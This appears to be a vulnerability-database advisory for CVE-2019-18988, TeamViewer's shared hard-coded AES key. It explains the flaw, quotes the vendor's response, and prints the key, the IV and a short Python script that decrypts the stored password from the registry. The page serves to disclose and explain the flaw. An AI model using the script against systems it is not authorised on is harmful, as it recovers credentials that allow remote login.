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CVE-2019-18988
CVE-2019-18988
Description
TeamViewer Desktop through 14.7.1965 allows a bypass of remote-login access control because the same key is used for different customers’ installations. It used a shared AES key for all installations since at least as far back as v7.0.43148, and used it for at least OptionsPasswordAES in the current version of the product. If an attacker were to know this key, they could decrypt protect information stored in the registry or configuration files of TeamViewer. With versions before v9.x , this allowed for attackers to decrypt the Unattended Access password to the system (which allows for remote login to the system as well as headless file browsing). The latest version still uses the same key for OptionPasswordAES but appears to have changed how the Unattended Access password is stored. While in most cases an attacker requires an existing session on a system, if the registry/configuration keys were stored off of the machine (such as in a file share or online), an attacker could then decrypt the required password to login to the system.
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Technical Analysis
In some versions of Teamviewer, user defined passwords are stored in the registery, encrypted with AES-128-CBC. This wouldn’t be an issue, if the key and IV for this AES encryption wasn’t stored inside the Teamviewer binary itself. This means that we now have these:
key: 0602000000a400005253413100040000 iv: 0100010067244F436E6762F25EA8D704
This can be used to get the stored password using either the following python script (source: https://whynotsecurity.com/blog/teamviewer/) or using the MSF Module.
import sys, hexdump, binascii from Crypto.Cipher import AES class AESCipher: def __init__(self, key): self.key = key def decrypt(self, iv, data): self.cipher = AES.new(self.key, AES.MODE_CBC, iv) return self.cipher.decrypt(data) key = binascii.unhexlify("0602000000a400005253413100040000") iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704") hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe" # output from the registry ciphertext = binascii.unhexlify(hex_str_cipher) raw_un = AESCipher(key).decrypt(iv, ciphertext) print(hexdump.hexdump(raw_un)) password = raw_un.decode('utf-16') print(password)
This CVE requires users to reuse passwords across multiple accounts, so it’s not guaranteed to escalate privilleges. This is also the reason why Teamviewer themselves state the following in their Security Bulletin:
In the blog post, the researcher mentions a privilege escalation risk. There’s no direct vulnerability offering someone the ability to gain additional privileges on the local system. The only risk would be in the case that a user is reusing the exposed passwords on other services.
Source – https://community.teamviewer.com/t5/Announcements/Specification-on-CVE-2019-18988/td-p/82264
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